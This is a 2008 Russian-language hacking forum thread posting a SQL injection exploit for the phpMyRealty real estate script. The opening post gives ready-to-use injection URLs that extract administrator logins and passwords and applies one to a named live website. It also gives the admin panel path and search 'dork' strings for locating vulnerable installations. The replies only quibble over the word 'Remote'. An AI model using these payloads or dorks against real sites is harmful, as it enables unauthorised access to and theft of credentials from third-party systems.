ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2
Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей. Здесь обсуждаются безопасность, программирование, технологии и многое другое. Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
Вернуться   Форум АНТИЧАТ > Безопасность и Уязвимости > Уязвимости > Сценарии/CMF/СMS
Перезагрузить страницу phpMyRealty <= 1.0.9 (pages.php id) Remote SQL Injection Vulnerability
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

phpMyRealty <= 1.0.9 (pages.php id) Remote SQL Injection Vulnerability
  #1  
Старый 28.08.2008, 16:44
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию phpMyRealty <= 1.0.9 (pages.php id) Remote SQL Injection Vulnerability
Author: ~!Dok_tOR!~
Date found: 27.08.08
Product: phpMyRealty
Version: 1.0.7, 1.0.9
Vulnerability Class: SQL Injection

Exploit 1:

Код:
http://localhost/[installdir]/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*
Exploit 2:

Код:
http://localhost/[installdir]/search.php?price_min=50000&price_max=-999999+union+select+1,2,3,4,5,6,7,8,concat_ws(0x3a,login,password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+pmr_admins/*
Example:

Код:
http://www.rightchoicehomes.co.uk/pages.php?id=-999999+union+select+concat_ws(0x3a,login,password),2,3+from+pmr_admins/*
Admin panel:

http://localhost/[installdir]/admin/

Dork:

Powered by phpMyRealty 1.0.7
Powered by phpMyRealty.com

http://milw0rm.com/exploits/6320
(c) ~!Dok_tOR!~
 
Ответить с цитированием

  #2  
Старый 28.08.2008, 17:35
Аватар для guest3297
guest3297
Banned
Регистрация: 27.06.2006
Сообщений: 1,614
Провел на форуме:
3887520

Репутация: 2996


По умолчанию
Цитата:
Remote SQL Injection Vulnerability
А бывает еще Local SQL Injection Vulnerability ?
 
Ответить с цитированием

  #3  
Старый 28.08.2008, 22:03
Аватар для .Slip
.Slip
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337

Репутация: 3486


По умолчанию
Цитата:
Сообщение от [ cash ]  
А бывает еще Local SQL Injection Vulnerability ?
Ага, из под админа:d А вообще такие названия - это мода с милворма
__________________
..
 
Ответить с цитированием

  #4  
Старый 28.08.2008, 23:07
Аватар для ~!DoK_tOR!~
~!DoK_tOR!~
Banned
Регистрация: 10.11.2006
Сообщений: 829
Провел на форуме:
2634544

Репутация: 1559


Отправить сообщение для ~!DoK_tOR!~ с помощью ICQ
По умолчанию
что вы прикопались к названию ? можно было просто назвать без Remote )
 
Ответить с цитированием
Ответ



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Обнаружение Sql инъекций в Oracle, часть вторая k00p3r Чужие Статьи 0 13.06.2005 11:26
Sql инъекция и Oracle, часть первая k00p3r Чужие Статьи 0 13.06.2005 11:23
Внедрение Sql кода с завязанными глазами k00p3r Чужие Статьи 0 12.06.2005 20:48
SQL Injection в Oracle k00p3r Чужие Статьи 0 12.06.2005 12:41



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ